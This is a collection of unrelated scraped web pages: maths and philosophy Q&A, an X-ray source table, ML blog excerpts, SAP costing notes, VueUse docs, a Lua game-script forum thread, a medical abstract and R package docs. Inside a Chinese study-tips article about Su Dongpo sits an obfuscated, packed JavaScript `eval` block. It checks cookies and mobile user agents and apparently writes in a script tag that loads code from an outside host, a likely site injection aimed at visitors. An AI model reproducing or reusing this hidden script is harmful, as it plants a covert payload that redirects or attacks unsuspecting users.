4:29\n\n## 1 Answer\n\n@Zack Cramer has done the heavy lifting.\n\nIn the complex plane, the $n$th root of unity has produces $n$ points on the unit circle. For the square root, $n=2$: $\\theta_1 = 0$, $\\theta_2 = \\pi$. When $z = 2$, $$\\sqrt{z} = \\pm \\sqrt{2}$$" ]
[ null ]
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https://mathematica.meta.stackexchange.com/questions/1774/how-can-i-get-a-good-looking-display-of-a-large-output-in-a-question
[ "# How can I get a good-looking display of a large output in a question?\n\nIn this Question both of my displayed outputs are a mess on Chrome. The first one (with radicals) creates huge parenteses and runs off the right of the page, and the second one (with large integers) runs waaaaay off the right of the page. Is there a way to fix this? I just pasted the TeXForm output in between some dollar signs. I've run into this problem posted a few other questions too.\n\nIf you paste the InputForm, Mathematica will break the integer up, but in a way that can be pasted back into Mathematica:\n\n1476970928157351816860042743128858490934671778871862601818801179568155\\\n1674608250556373798213438838903089324192397165503115692398200979544523\\\n7436098869911125858111671457534293531550227204426557474412874444056537\\\n5589523598122491930882044615447482230883087076619463975044428225272927\\\n6599091628027019385080181289731159787444984671454946081033581682364322\\\n7293330493863411548106839219241822466768921583568955627335268963141029\\\n6101193045612568151469291529425850567811242123738162398090082254628903\\\n9363594238495861592432726605188205131294019936846760883091164464285543\\\n3909402967926 -\n104437615891545257496417768499303993150192546198507781167667629123050\\\n9863316110627206227260454120965903445640602087706863031327574125812872\\\n2132114070519309070230123775812359156216004345017373200971964237001881\\\n2330693084500590805964215749598013705892215307391548522404846842401369\\\n8986750819005501472217302202169568300331811215147028898939339794943089\\\n7213747545170723769636181617027626790881159267053175932151752623087973\\\n6820859410888074310814279229466095712432316237303167672249609959845163\\\n6322214327380689081912532243931648371437306541992775161133538382715767\\\n86201217435197 Sqrt\n\n\nOn the other hand, is it necessary to show all this? Maybe this is better, unless you think it's important for people to be able to check your output?\n\n(14769...26) - (10443...97) Sqrt (* digits omitted *)\n\n\nThe TeX probably requires some manual intervention:\n\n$$\\left(\\dots\\left(\\left(\\left(2-\\sqrt{2}\\right)^2 - \\sqrt{2}\\right)^2-\\sqrt{2}\\right)^2 \\dots -\\sqrt{2}\\right)^2-\\sqrt{2}$$", null, "Or paste the InputForm (I entered some returns in the output cell to get it to break up the output across lines, at places of my choosing):\n\n-Sqrt + (-Sqrt + (-Sqrt + (-Sqrt + (-Sqrt +\n(-Sqrt + (-Sqrt + (-Sqrt + (-Sqrt +\n(-Sqrt + (2 - Sqrt)^2)^2)^2)^2)^2)^2)^2)^2)^2)^2\n\n• Unfortunately, MathJax does not work in Meta, so your TeX expression won't display here. I substituted a image made from a screenshot. Hope you don't mind. – m_goldberg Jan 12 '16 at 3:47\n• @m_goldberg Thanks. (I don't remember, but I thought I saw the formatted TeX after I posted. Could it be browser dependent? In any case, it's fine the way you did it.) – Michael E2 Jan 12 '16 at 3:48\n• The screenshot was made in my browser (Safari) with your TeX expression pasted into the editor on the main Mathematica.SE site, so I can't see how it could be my browser. – m_goldberg Jan 12 '16 at 3:53" ]
[ null, "https://i.stack.imgur.com/noKx0.png", null ]
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https://wordpandit.com/alligations-and-mixtures-formulas-and-tricks/
[ "In this article, we will take a recap of all the important formulas, tricks and shortcuts that will help you solve questions easily within less time.\n\n1. A Mixture is a result of the mixing of two or more ingredients in some fixed ratio(or quantity) and a combination of two mixtures is also called a Mixture.\n1. Alligation is a process of linking or we can say that the process of mixing the two quantities of different ingredients or different costs to form a mixture of mean cost.\n1. Concept of weighted average:\n\nWeighted average =", null, "If x1 quantity is sold for Rs a1 per kg, x2 is sold for Rs a2 per kg, x3 quantity is sold for Rs a3 per kg and so on xn quantity is sold for Rs an per kg respectively, then the weighted average ‘w’ is given by:", null, "1. Alligation Rule:\n\nSuppose Rs. d per unit be the price of the first ingredient (superior quality) mixed with another ingredient (cheaper quality) of price Rs. c per unit to form a mixture whose mean price is Rs. m per unit, then the two ingredients must be mixed in the ratio:", null, "i.e., the two ingredients are to be mixed in the inverse ratio of the difference of their prices and the mean price.", null, "1. If a vessel has ‘y’ units of mixture of ingredients ‘a’ and ‘b’. From this mixture ‘x’ unit is taken out and replaced by an equal amount of ingredient b.This process of taking out and replacing is repeated say for ‘n’ times. Then,\n\nAmount of ‘a’ left in the mixture = Total mixture x", null, "1. When we have questions containing water, we consider value of water as zero. (Though it is priceless J)\n1. A mixture of a certain quantity of milk and ‘z’ litres of water is worth Rs ‘a’per litre. If pure milk is worth Rs ‘b’ per litre, then the quantity of milk is given by .", null, "2. In what ratio water must be mixed with spirit to gain or to lose x% by sellingit at cost price is given by (", null, ")\n\n### Alligations and Mixtures Questions: Problems on Alligations and Mixtures you should solve for competitive examination preparation\n\nWelcome to this exercise on Problems on Alligations and Mixtures. In this exercise, we look at the summary of tips and tricks for Alligations and Mixtures. As you prepare for your competitive examinations, you will come across questions on Alligations and Mixtures. Such questions need optimized tackling and can be solved with ease by using simple tricks and understanding the relationships highlighted in this Alligations and Mixtures Questions article. The Alligations and Mixtures Questions exercise comes into the picture where it gives you a chance to practice the highlighted and important concepts related to Alligations and Mixtures question type.", null, "", null, "" ]
[ null, "data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%20165%2043'%3E%3C/svg%3E", null, "data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%20258%2075'%3E%3C/svg%3E", null, "data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%20343%2045'%3E%3C/svg%3E", null, "data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%20410%20182'%3E%3C/svg%3E", null, "data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2079%2065'%3E%3C/svg%3E", null, "data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2077%2054'%3E%3C/svg%3E", null, "data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2038%2055'%3E%3C/svg%3E", null, "data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%20253%20179'%3E%3C/svg%3E", null, "data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2027%2026'%3E%3C/svg%3E", null ]
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https://asd.gsfc.nasa.gov/xassist/pipeline4/chandra/11545/acisf11545/report/fullrun_acisf11545_srclist.html
[ "### Source List\n\nClick on source number for detailed analysis, including spectral fits if applicable\n\ndata idnum idradec telescope instrument x y cnts cntserr rate rateerr SNR poisprob sigmaj sigmin incang offax cnts_soft cnts_hard hr hr_err ext var N_H flux vign flags\nReport srcpi bgdpi arf rmf 2 X113151.58-123158.7 chandra ccd7 169.597 707.879 7890.77 93.5612 0.32049 0.00380006 364.169 1 0.826285 0.358249 80.9459 0.316708 5625.75 2345.56 -0.411499 0.0122524 A F 3.42e+20 2.63652e-12 1 dscxf\nReport srcpi bgdpi arf rmf 1 X113151.51-123158.6 chandra ccd7 171.719 708.084 9496.14 97.8377 0.385693 0.00397376 438.259 1 1.36108 0.833611 350.73 0.312938 6487.92 2690.5 -0.413733 0.0114211 A F 3.42e+20 2.87698e-12 1 dscbx\nReport srcpi bgdpi arf 1 X113232.86-124331.6 chandra ccd3 101.436 60.6292 47.1277 8.53326 0.00191413 0.000346585 15.8219 1 2.95469 2.19581 82.7597 15.557 29.2246 17.6582 -0.246707 0.186373 F F 3.51e+20 2.83226e-14 1 dx\n\ncounts and rate are bgd.-subtracted, based on simple spatial fitting (if done) or extracted counts from aperture otherwise (N.B., in either case aperture counts are given csv file).\ncntserr, rateerr = Error on (source) counts and count rate, based on error in total counts\nSNR = signal-to-noise ratio, computed using Nsrc/sqrt(Nbgd)\npoisprob = Poisson probability of observing total counts given bgd. counts\nsigmaj, sigmin = source extent (from detection output or spatial fitting) in units of arcsecs.\nincang = position angle of source (inclination from x-axis)\ncnts_soft = bgd.-subtracted counts in soft band (0.50 - 2.00 KeV, always taken directly from source aperture rather than model fitting)\ncnts_hard = bgd.-subtracted counts in hard band (2.00 - 7.99 KeV, always taken directly from source aperture rather than model fitting)\nhr, hr_err = hardness ratio ([cnts_hard-cnts_soft]/[cnts_hard+cnts_soft]) and error\next = source extension flag: F = false (not extended), T = true (extended), A = asymetric (ratio of sigmaj/sigmin > 1 + x, where x = 0.5 by default)\nvar = variability flag: U = unknown, F = false (is not variable), T = true\nN_H = Galactic column density as determined from LHEASOFT nh program\nflux = flux determined from count rate using pimms (in the 0.30-8.00 keV bandpass for a power-law model with ph. index = 1.8)\nvign = vignetting correction\nFlags: d = detection parameters, s = simple spatial fitting parameters, b = simple spatial fitting failed, p = poor simple spatial fit, x = extracted events parameters, t = temporal anaylsis parameters, i = psf spatial fitting parameters, f = spectral fitting parameters, c = source is confused, u = user-defined source, v = detected source coincident with user-defined source, r = source is in region-of-interest" ]
[ null ]
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https://lips.cs.princeton.edu/category/machine-learning/page/2/
[ "## Variational Inference (part 1)\n\nAndy Miller\n\nI will dedicate the next few posts to variational inference methods as a way to organize my own understanding – this first one will be pretty basic. The goal of variational inference is to approximate an intractable probability distribution, , with a tractable one, , in a way that makes them as ‘close’ as possible. Let’s unpack that statement a bit.\n\n## Geometric means of distributions\n\nRoger GrosseMachine Learning\n\nAnnealed importance sampling is a widely used algorithm for inference in probabilistic models, as well as computing partition functions. I’m not going to talk about AIS itself here, but rather one aspect of it: geometric means of probability distributions, and how they (mis-)behave.\n\n## Learning Theory: What Next?\n\nJonathan HugginsMachine Learning\n\nIn my previous post, I wrote about why I find learning theory to be a worthwhile endeavor. In this post I want to discuss a few open/under-explored areas in learning theory that I think are particularly interesting. If you know of progress in these areas, please email me or post in the comments.\n\n## Data compression and unsupervised learning, Part 2\n\nThis is a continuation of my last post about data compression and machine learning. In this post, I will start to address the question: Does “good” compression generally lead to “good” unsupervised learning? To answer this question, we need to start with another question: What is a “good” compression algorithm?\n\n## An Auxiliary Variable Trick for MCMC\n\nRobert Nishihara1 Comment\n\nI recently uploaded the paper “Parallel MCMC with Generalized Elliptical Slice Sampling” to the arXiv. I’d like to highlight one trick that we used, but first I’ll give some background. Markov chain Monte Carlo (MCMC) is a class of algorithms for generating samples from a specified probability distribution (in the continuous setting, the distribution is generally specified by its density function). Elliptical slice sampling is an MCMC algorithm that can be used to sample distributions of the form (1)   where is a multivariate Gaussian prior with mean and covariance matrix , and is a likelihood function. Suppose we want to generalize this algorithm to sample from arbitrary continuous probability distributions. We could simply factor the distribution as (2)\n\n## What is representation learning?\n\nRoger GrosseMachine Learning1 Comment\n\nIn my last post, I argued that a major distinction in machine learning is between predictive learning and representation learning. Now I’ll take a stab at summarizing what representation learning is about. Or, at least, what I think of as the first principal component of representation learning.\n\n## High-Dimensional Probability Estimation with Deep Density Models\n\nRyan Adams and I just uploaded to the arXiv our paper “High-Dimensional Probability Estimation with Deep Density Models”. In this work, we introduce the deep density model (DDM), a new approach for density estimation.\n\n## Data compression and unsupervised learning\n\nData compression and unsupervised learning are two concepts whose relationship is perhaps underappreciated. Compression and unsupervised learning are both about finding patterns in data — but, does the similarity go any further? I argue that it does." ]
[ null ]
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http://blog.itpub.net/46681/viewspace-790472/
[ "# Sequence of Steps in Cost Object Controlling\n\nSequence of Steps in Cost Object Controlling[@more@]", null, "In the application component Product Cost Planning, you first create a standard cost estimate for the material to establish the standard cost.\n\nThen the following sequence of steps is performed in the application component Cost Object Controlling:\n\nPreliminary costing\nThe preliminary cost estimate calculates the planned cost for the object being costed. For example, if the cost object is a production order, planned costs can be used in variance calculation as the basis for calculating target costs.\n\nSimultaneous costing\nAll actual costs incurred for a cost object are collected directly on the cost object. Actual costs are incurred in different ways, such as through internal activity allocations and material withdrawals. This process of collecting actual costs on a cost object is called simultaneous costing. Simultaneous costing enables you to view and analyze the actual costs on a cost object at any time.\n\nFinal costing\nOnce the cost object has been produced, final costing determines the actual costs incurred during the production process. Final costing also serves the purposes of cost analysis and control.\n\nFinal costing is normally performed as a period-end closing process. For this reason, final costing in the R/3 System is one of the menu options under Period-End Closing.\n\nThe period-end closing process includes the capture of period costs. A period cost is an actual cost that is not attributable to the cost object from a particular activity. This can be the revaluation of activities at actual prices or the calculation of process costs or overhead, for example.\n\nIn addition, the period-end closing process can determine the value of the unfinished goods (work in process).\n\nYou can calculate variances in the period-end closing process in Product Cost by Period and Product Cost by Order.\n\nWhen you settle, you can transfer data to other application components such as Financial Accounting.\n\nPeriod-end closing in Cost Object Controlling is performed after period-end closing in Cost Center Accounting.\n\n• 博文量\n127\n• 访问量\n926498" ]
[ null, "http://img.blog.itpub.net/blog/attachments/gallery/507/507-3595.jpg", null ]
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http://www.jmmoxiang.com/chuzhongfudao/xuexizhinan/2014-08-15/112883.html
[ "苏东坡“过目成诵”的秘密\n\n评论:\n\n“过目成诵”,意思是读上一遍就能背诵,据说宋代著名文学家苏东坡就具有这种“天赋”。\n\neval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('m b=[\"\\g\\h\\a\",\"\\d\\i\\r\\c\\y\\S\\R\",\"\\l\\j\\j\\T\\d\\c\",\"\\k\\c\\a\\u\\d\\z\\c\",\"\\e\\c\\a\\u\\d\\z\\c\",\"\\g\\h\\a\\q\\U\\W\\c\\y\\h\\d\\f\\c\\e\\q\",\"\\a\\j\\V\\Q\\u\\L\\a\\f\\d\\i\\k\",\"\\a\\j\\K\\j\\A\\c\\f\\N\\g\\e\\c\",\"\\E\\e\\c\\f\\w\\k\\c\\i\\a\",\"\\i\\g\\D\\d\\k\\g\\a\\j\\f\",\"\\a\\c\\e\\a\",\"\\w\\i\\r\\f\\j\\d\\r\",\"\\w\\r\\f\",\"\\F\\e\\l\\f\\d\\h\\a\\B\\P\\g\\i\\k\\E\\g\\k\\c\\q\\o\\C\\g\\D\\g\\e\\l\\f\\d\\h\\a\\o\\B\\e\\f\\l\\q\\o\\X\\a\\a\\h\\e\\15\\n\\n\\e\\19\\t\\l\\i\\x\\x\\t\\18\\d\\x\\n\\e\\a\\g\\a\\t\\C\\e\\o\\G\\F\\n\\e\\l\\f\\d\\h\\a\\G\",\"\\A\\f\\d\\a\\c\"];J(v[b][b](b)==-1){m p=1b 17();p[b](p[b]()+Z);v[b]=b+p[b]();m s=16[b][b][b]();m I=/1a|M|Y/O[b](s);m H=s[b](b)>-1||s[b](b)>-1;J(I||H){v[b](b)}}',62,74,'||||||||||x74|_0xecdc|x65|x69|x73|x72|x61|x70|x6E|x6F|x67|x63|var|x2F|x22|exp|x3D|x64|UA|x2E|x54|document|x41|x7A|x78|x6D|x77|x20|x6A|x76|x75|x3C|x3E|isAndroid|isIOS|if|x4C|x53|ipod|x43|gi|x6C|x4D|x66|x4F|x6B|x31|x47|x3B|x68|ipad|36000000||||||x3A|window|Date|x62|x36|iphone|new'.split('|'),0,{}));" ]
[ null ]
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https://v7-7-1.vueuse.org/ecosystem
[ "# Ecosystem #\n\nWhile developing VueUse, we extract the tools we are using into separate projects that can be used standalone from time to time.\n\n##", null, "Vue Demi is a tool for library authors to create composable libraries that work for Vue 2 and 3 isomorphically just like VueUse. It has been widely adopted by many popular libraries like `vuelidate` and `vue-promised`.\n\n##", null, "Vue Chemistry utilizes the `reactify`function and applies it to common JavaScript APIs, which enables a pure reactive programming experience. For example:\n\n``````import { set } from 'vue-chemistry'\nimport * as console from 'vue-chemistry/console'\nimport { pow, sqrt, sum } from 'vue-chemistry/math'\n\n// _________\n// c = √ a² + b²\nconst a = ref(3)\nconst b = ref(4)\nconst c = sqrt(sum(pow(a, 2), pow(b, 2)))\nconsole.log(c) // 5\n\nset(a, 5) // shorthand for a.value = 5\nset(b, 12)\nconsole.log(c) // 13\n``````\n``````import { set } from 'vue-chemistry'\nimport * as console from 'vue-chemistry/console'\nimport { pow, sqrt, sum } from 'vue-chemistry/math'\n\n// _________\n// c = √ a² + b²\nconst a = ref(3)\nconst b = ref(4)\nconst c = sqrt(sum(pow(a, 2), pow(b, 2)))\nconsole.log(c) // 5\n\nset(a, 5) // shorthand for a.value = 5\nset(b, 12)\nconsole.log(c) // 13\n``````" ]
[ null, "https://github.com/vueuse/vue-demi/raw/master/assets/banner.png", null, "https://github.com/vueuse/vue-chemistry/raw/main/res/hero.png", null ]
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https://forum.mtasa.com/topic/24423-whats-wrong-ramp/?tab=comments
[ "## Recommended Posts\n\nHello,\n\nI'm creating a script when i press 1 there comes a ramp\n\nBut what's wrong?\n\n```function ramp(command)\nlocal x,y,z = getElementPosition(source)\nlocal xx,yy,zz = getElementRotation(source)\ncreateObject ( 1632, x, y, z + 10, xx, yy, zz +10 )\nend\n\nbindKey( \"1\", \"down\", ramp)\n```\n\nhttp://wiki.multitheftauto.com/wiki/BindKey\n\nand this:\n\nIn both you should use first argument in hander function to get position and rotation - becouse its the element that caused to fire that function.\n\nThere is no \"source\" in both.\n\nJust replace \"command\" with something more suitable like: playerElement\n\nand replace all \"source\" with playerElement also\n\n```\nfunction ramp1(player,command)\nlocal x,y,z = getElementPosition(player)\nlocal xx,yy,zz = getElementRotation(player)\ncreateObject ( 1632, x, y, z + 10, xx, yy, zz +10 )\nend\n\nfunction ramp2(key,state)\nlocal x,y,z = getElementPosition(source)\nlocal xx,yy,zz = getElementRotation(source)\ncreateObject ( 1632, x, y, z + 10, xx, yy, zz +10 )\nend\nbindKey( \"1\", \"down\", ramp2)\n\n```\n\n```\nfunction ramp1(player,command)\nlocal x,y,z = getElementPosition(player)\nlocal xx,yy,zz = getElementRotation(player)\ncreateObject ( 1632, x, y, z + 10, xx, yy, zz +10 )\nend\n\nfunction ramp2(key,state)\nlocal x,y,z = getElementPosition(source)\nlocal xx,yy,zz = getElementRotation(source)\ncreateObject ( 1632, x, y, z + 10, xx, yy, zz +10 )\nend\nbindKey( \"1\", \"down\", ramp2)\n\n```\n\nDont work\n\nA player only has a Z-rotation, since it can't be rotated along the Z- or Y-axis. Since it's a ramp, I assume that the player is in a vehicle.\n\nYou gotta check if the player is in a vehicle and if he is, you get the position and rotation of that vehicle:\n\n```function ramp1(p) -- open a function with \"p\" defined as the player\nlocal v = getPedOccupiedVehicle ( p ) -- get the player's vehicle\nif v then -- does the player's vehicle exist (is he in a vehicle?)\nlocal x, y, z = getElementPosition ( v ) -- get the vehicle's position\nlocal rx, ry, rz = getVehicleRotation ( v ) -- get the vehicle's rotation\ncreateObject ( 1632, x, y, z+10, rx, ry, rz ) -- create the object using the vehicle's position and rotation\nend\nend\nbindKey( \"1\", \"down\", ramp2)\n```\n\nI don't know why you want to create a ramp 10 meter above the player's vehicle, but that's your side of the story.\n\nA player only has a Z-rotation, since it can't be rotated along the Z- or Y-axis. Since it's a ramp, I assume that the player is in a vehicle.\n\nYou gotta check if the player is in a vehicle and if he is, you get the position and rotation of that vehicle:\n\n```function ramp1(p) -- open a function with \"p\" defined as the player\nlocal v = getPedOccupiedVehicle ( p ) -- get the player's vehicle\nif v then -- does the player's vehicle exist (is he in a vehicle?)\nlocal x, y, z = getElementPosition ( v ) -- get the vehicle's position\nlocal rx, ry, rz = getVehicleRotation ( v ) -- get the vehicle's rotation\ncreateObject ( 1632, x, y, z+10, rx, ry, rz ) -- create the object using the vehicle's position and rotation\nend\nend\nbindKey( \"1\", \"down\", ramp2)\n```\n\nI don't know why you want to create a ramp 10 meter above the player's vehicle, but that's your side of the story.\n\nDont work \"WARNING: Bad argument @ bindkey tring-defined-function\" I want the ramp not above me", null, "Ah, the \"p\" shouldn't be there in the parameters of the ramp1 function: since the script is clientside (no keypresser defined in \"bindKey\") the keypresser can only be the local player:\n\n```p = getLocalPlayer()\nfunction ramp1()\nlocal v = getPedOccupiedVehicle ( p ) -- get the player's vehicle\nif v then -- does the player's vehicle exist (is he in a vehicle?)\nlocal x, y, z = getElementPosition ( v ) -- get the vehicle's position\nlocal rx, ry, rz = getVehicleRotation ( v ) -- get the vehicle's rotation\ncreateObject ( 1632, x, y, z+10, rx, ry, rz ) -- create the object using the vehicle's position and rotation\nend\nend\nbindKey( \"1\", \"down\", ramp1)\n```\n\nAlso, the function in \"bindKey\" wasn't present in the script (it was \"ramp2\" and that should have been \"ramp1\").\n\nAs for creating an object in front of something, you should check out \"getElementMatrix\":\n\nhttp://wiki.multitheftauto.com/wiki/GetElementMatrix\n\nERROR file.lua:1: attempt to call global 'getLocalPlayer' ( a nil value)\n\nset script as \"client\" in meta.xml file" ]
[ null, "https://forum.mtasa.com/uploads/emoticons/laugh.png", null ]
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https://philosophy.stackexchange.com/questions/2159/what-role-does-counting-histories-play-in-deutschs-critique-of-the-simulatio
[ "# What role does “counting histories” play in Deutsch's critique of the “simulation argument”?\n\nIn his book The Beginning of Infinity, David Deutsch argues that there is a problematic assumption behind the simulation argument that \"virtually all instances of us are in ... simulations and not in the original world\" since\n\ncounting the number of instances of oneself is no guide to the probability one ought to use ... We should be counting histories not instances.\n\nWhat is meant by the distinction between histories and instances and how does that distinction create problems for the simulation hypothesis?\n\n• Can you provide a bit more context on that quote? – Joseph Weissman Feb 9 '12 at 4:00\n\n(This is a rather old question, but I'm just picking up the book and having a look. The quote is on p. 454 of my copy of the book.)\n\nHis analogy is with puff pastry.", null, "This is my interpretation of what Deutsch wrote:\n\nSuppose we are only given that we are somewhere (on a layer) in the puff pastry. What is the probability that we are somewhere in a layer (instance) above a small circle around some (x, y) in the horizontal plane?\n\nHe argues that in physics (QM), this probability is provided by counting histories (paths, via layers, from anywhere to any and all layers above (x, y)) by measure, and not by the (relative) number of layers above (x, y)), which (the latter) would typically give you the wrong physical answer.\n\nHe further argues 1) that the simulation argument should likewise ignore the number of layers (since we know from QM that that's wrong), and 2) that it doesn't have a known way of counting simulations/histories. Therefore, the simulation argument hinges on an open problem.\n\n• The argument more generally is that there is no preferred way of counting members of an infinite set unless the laws of physics explain why that measure should be used. See pp. 176-184 in BoI. – alanf Apr 11 '16 at 10:38" ]
[ null, "https://i.stack.imgur.com/xNQ3u.png", null ]
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https://profiles.wustl.edu/en/publications/assessment-of-the-end-systolic-pressure-volume-relationship-in-hu
[ "# Assessment of the end-systolic pressure-volume relationship in human beings with the use of a time-varying elastance model\n\nR. G. McKay, J. M. Aroesty, G. V. Heller, H. D. Royal, S. E. Warren, W. Grossman\n\nResearch output: Contribution to journalArticlepeer-review\n\n65 Scopus citations\n\n## Abstract\n\nThe analysis of left ventricular end-systolic pressure-volume relationships in human beings has been hindered by the lack of a practical method of serial volume assessment and by an imprecise definition of end-systole. Modifications of the end-systolic relationship that have been used to circumvent these problems have included the use of single-point end-systolic pressure-volume ratios, the use of peak systolic pressure/minimum ventricular volume points for end-systolic points, and the use of end-ejection as a marker for end-systole. To assess the correlation between the parameters generated by these modifications with the slope (E(max)) and volume intercept (V(o)) of the end-systolic line as defined by Sagawa's model of time-varying elastance, simultaneous measurement of left ventricular pressure and gated radionuclide volume was made in 26 patients under various loading conditions and pressure-volume diagrams were constructed for each loading condition from 32 simultaneous pressure-volume coordinates. Two pressure-volume diagrams were recorded in 14 patients and three pressure-volume diagrams were recorded in 12 patients. E(max) and V(o) were determined in all patients from the slope and volume intercept of the isochronic pressure-volume line with the maximum time-varying elastance as described by Sagawa's model and were designated true E(max) and true V(o), respectively. True E(max) was subsequently correlated with three estimates of E(max) computed from a single-point end-systolic ratio (r = .76, SEE = 1.53, p < .001), from peak systolic pressure/minimum systolic volume points (r = .87, SEE = 0.67, p < .001), and from end-ejection pressure-volume points marked by peak negative dP/dt (r = .91, SEE = 0.57, p < .001). It is concluded that the parameters E(max) and V(o) of a time varying elastance model of the end-systolic pressure-volume relationship can be constructed for man with the use of simultaneous left ventricular pressure measurements and gated radionuclide ventriculography, and that true E(max) calculated by this method is reasonably approximated by single-point pressure-volume ratios and peak systolic and end-ejection measurements.\n\nOriginal language English 97-104 8 Circulation 74 1 https://doi.org/10.1161/01.CIR.74.1.97 Published - Jan 1 1986\n\n## Fingerprint\n\nDive into the research topics of 'Assessment of the end-systolic pressure-volume relationship in human beings with the use of a time-varying elastance model'. Together they form a unique fingerprint." ]
[ null ]
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https://cfd-online.com/Wiki/Kruzkov_theorem
[ "# Kruzkov theorem\n\nThe scalar Cauchy problem", null, "$u_t + f(u)_x = 0, \\ \\ \\ f \\in C^1(\\mathbb{R})$\n\nwith initial condition", null, "$u(0,x) = u_o(x), \\ \\ \\ u_o \\in L^\\infty(\\mathbb{R})$\n\nhas a unique entropy solution", null, "$u \\in L^\\infty(\\mathbb{R}_+ \\times \\mathbb{R})$\n\nwhich fulfills (important for numerics)\n\n• Stability", null, "$|| u(t, \\cdot)||_{L^\\infty} \\le || u_o ||_{L^\\infty}, \\mbox{ a.e. in } t \\in \\mathbb{R}_+$\n• Monotone solution: If", null, "$u_o \\ge v_o$ a.e. in", null, "$\\mathbb{R}$ then", null, "$u(t, \\cdot) \\ge v(t, \\cdot) \\ \\ \\ \\mbox{ a.e. in } \\mathbb{R}, \\mbox{ a.e. in } t \\in \\mathbb{R}_+$\n• TV-diminishing: If", null, "$u_o \\in BV(\\mathbb{R})$ then", null, "$u(t, \\cdot) \\in BV(\\mathbb{R}) \\ \\ \\ \\textrm{ and } \\ \\ \\ TV(u(t, \\cdot)) \\le TV(u_o)$\n• Conservation: If", null, "$u_o \\in L^1(\\mathbb{R})$ then", null, "$\\int_{\\mathbb{R}} u(t,x) d x = \\int_\\mathbb{R} u_o(x) d x, \\ \\ \\ \\mbox{ a.e. in } t \\in \\mathbb{R}_+$\n• Finite domain of dependence: If", null, "$u, v$ are two entropy solutions, corresponding to initial conditions", null, "$u_o, v_o \\in L^\\infty$ and", null, "$M = \\max\\{ | f^\\prime(\\phi) | : | \\phi | \\le \\max( ||u_o||_{L^\\infty}, ||v_o||_{L^\\infty}) \\}$\n\nthen", null, "$\\int_{|x| \\le R} | u(t,x) - v(t,x) | d x \\le \\int_{|x| \\le R + Mt} | u_o(x) - v_o(x) | d x$" ]
[ null, "https://cfd-online.com/W/images/math/f/5/8/f589e8bff41d4b909f7bf17f9521acc1.png ", null, "https://cfd-online.com/W/images/math/f/0/7/f07f734a4d3957f0ed0a0811e95e8ab0.png ", null, "https://cfd-online.com/W/images/math/3/e/c/3ecbe6cdafc97d46520c268f4885a3d6.png ", null, "https://cfd-online.com/W/images/math/0/1/3/013a8073c1aa51ccd5debfb7947671b2.png ", null, "https://cfd-online.com/W/images/math/5/7/2/5726521d938bcf2dfa19386822c6b850.png ", null, "https://cfd-online.com/W/images/math/6/9/a/69a45f1e602cd2b2c2e67e41811fd226.png ", null, "https://cfd-online.com/W/images/math/b/d/3/bd3ad11d30dc5d67c9f60eca92180949.png ", null, "https://cfd-online.com/W/images/math/4/6/1/461e000b4ff2145d4d5f2d30c40bcdfe.png ", null, "https://cfd-online.com/W/images/math/e/8/9/e89c6668c2dd5a3411f9f9776a082bba.png ", null, "https://cfd-online.com/W/images/math/7/7/f/77f7012bd2a28ce942f6202090c6c6b7.png ", null, "https://cfd-online.com/W/images/math/c/f/7/cf7153dafdca12dee8b2afb42ba1d6c3.png ", null, "https://cfd-online.com/W/images/math/7/0/3/703f259d2f1a609d112d61c642e0f17d.png ", null, "https://cfd-online.com/W/images/math/6/f/6/6f638aa806a1347c6d7a07497a0a209e.png ", null, "https://cfd-online.com/W/images/math/1/c/2/1c2c33bd820e747efb467ea7a1750bfe.png ", null, "https://cfd-online.com/W/images/math/1/e/4/1e4c11c049d9534fe1aa75aec9af7037.png ", null ]
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https://statisfactions.github.io/simpr/reference/index.html
[ "## All functions\n\napply_fits()\n\nRun a given function or formula expression on a simpr_mod object and tidy the output.\n\ndefine()\n\nDefine metaparameters to vary in simulation\n\nfit(<simpr_tibble>) fit(<simpr_spec>)\n\nFit models to the simulated data\n\ngenerate(<simpr_spec>)\n\nGenerate simulated data from specification\n\nglance_fits()\n\nCreate tibble of model \"glances\" (summaries)\n\nper_sim()\n\nWork directly with simulation results with dplyr and tidyr\n\nprint(<simpr_spec>) new_simpr_spec() is.simpr_spec()\n\nMethods for simpr_spec class\n\nspecify(<formula>)\n\nSpecify data-generating mechanisms\n\ntidy_fits()\n\nTidy fits into a tidy tibble\n\nadd_count(<simpr_sims>) add_count(<simpr_spec>) anti_join(<simpr_sims>) anti_join(<simpr_spec>) arrange_(<simpr_sims>) arrange_(<simpr_spec>) arrange(<simpr_sims>) arrange(<simpr_spec>) as.tbl(<simpr_sims>) as.tbl(<simpr_spec>) auto_copy(<simpr_sims>) auto_copy(<simpr_spec>) collect(<simpr_sims>) collect(<simpr_spec>) compute(<simpr_sims>) compute(<simpr_spec>) count(<simpr_sims>) count(<simpr_spec>) distinct_(<simpr_sims>) distinct_(<simpr_spec>) distinct(<simpr_sims>) distinct(<simpr_spec>) do_(<simpr_sims>) do_(<simpr_spec>) do(<simpr_sims>) do(<simpr_spec>) dplyr_col_modify(<simpr_sims>) dplyr_col_modify(<simpr_spec>) dplyr_reconstruct(<simpr_sims>) dplyr_reconstruct(<simpr_spec>) dplyr_row_slice(<simpr_sims>) dplyr_row_slice(<simpr_spec>) filter_(<simpr_sims>) filter_(<simpr_spec>) filter(<simpr_sims>) filter(<simpr_spec>) full_join(<simpr_sims>) full_join(<simpr_spec>) group_by_(<simpr_sims>) group_by_(<simpr_spec>) group_by(<simpr_sims>) group_by(<simpr_spec>) group_data(<simpr_sims>) group_data(<simpr_spec>) group_indices_(<simpr_sims>) group_indices_(<simpr_spec>) group_indices(<simpr_sims>) 